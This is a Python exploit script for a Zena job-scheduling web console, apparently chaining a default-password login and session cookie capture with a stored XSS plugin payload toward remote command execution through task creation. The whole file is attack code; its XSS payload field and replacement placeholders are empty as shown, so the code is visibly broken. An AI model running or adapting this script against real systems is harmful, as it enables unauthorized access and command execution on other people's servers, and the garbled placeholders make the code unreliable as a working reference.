# Zena XSS to RCE exploit. Exploit is reliant on a credential cookie theft to perform RCE component.
import os
import sys
import json
import requests
class CookieMonster:
def __init__(self, host, port, tls, cmd):
if tls is True:
self.host = "https://" + host + ":" + port
else:
self.host = "http://" + host + ":" + port
self.cmd = cmd
self.webConfigLogin = ["GET", "/oc_main/cm/clientManager/login?pwd=zena"]
self.webConfigPlugin = ["PUT", "/oc_main/cm/zenaPlugins"]
self.clientMgrCreateTsk = ["POST", "/oc_main/zenaweb/definitions"]
self.clientMgrExecTsk = ["POST", ""]
self.getUsers = ["GET", "/oc_main/zenaweb/definitions/logins"]
self.getAgents = ["GET", "/oc_main/zenaweb/agents"]
self.userAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36"
def controller(self):
sessionID = self.login()
self.XSS(sessionID)
def login(self):
headers = {
"Host": self.host,
"User-Agent": self.userAgent,
"Accept": "*/*",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"X-Requested-With": "XMLHttpRequest",
"Connection": "close",
"Referer": self.host + "/webconfig/index.html"
}
req = requests.get(self.host + self.webConfigLogin[1], headers=headers)
responseHeaders = json.dumps(dict(req.headers))
responseHeaders = json.loads(responseHeaders)
jsessionID = responseHeaders["Set-Cookie"].split(";")[0]
return jsessionID # To be used for malicious connector creation
def XSS(self, sessionID):
payload = {
"NAME": "
",
"DB_URL": "http://test.com",
"DB_USER": "test",
"DB_TYPE": "MSSQL",
"DB_DRIVER": "com.microsoft.sqlserver.jdbc.SQLServerDriver",
"DB_PASSWORD": "test",
"DESCRIPTION": "test",
"ENABLED": "true"
}
headers = {
"Host": self.host,
"User-Agent": self.userAgent,
"Accept": "*/*",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "application/json",
"X-Requested-With": "XMLHttpRequest",
"Content-Length": str(sys.getsizeof(payload)),
"Connection": "close",
"Referer": self.host + "/webconfig/index.html",
"Cookie": sessionID
}
print("[+] Starting XSS..")
req = requests.put(self.host + self.webConfigPlugin[1], data=json.dumps(payload), headers=headers)
response = str(req.content)
if "true" in response:
print("[+] Payload Successfully Delivered!")
def jsPayload(self):
# Replace JS Placeholders with payload data
payload = open(os.path.realpath("payload-js.txt"), "r").read()
payload = payload.replace("", self.getUsers[0])
payload = payload.replace("", self.getUsers[1])
payload = payload.replace("", self.getAgents[0])
payload = payload.replace("", self.getAgents[1])
payload = payload.replace("", self.clientMgrCreateTsk[0])
payload = payload.replace("", self.host + self.clientMgrCreateTsk[1])
payload = payload.replace("", self.clientMgrExecTsk[0])
payload = payload.replace("", self.host)
payload = payload.replace("", self.cmd)
return payload
if __name__ == '__main__':
# Args
host = str(sys.argv[1])
port = str(sys.argv[2])
tls = str(sys.argv[3])
cmd = str(sys.argv[4])
# Exec
CookieMonster(host, port, tls, cmd).controller()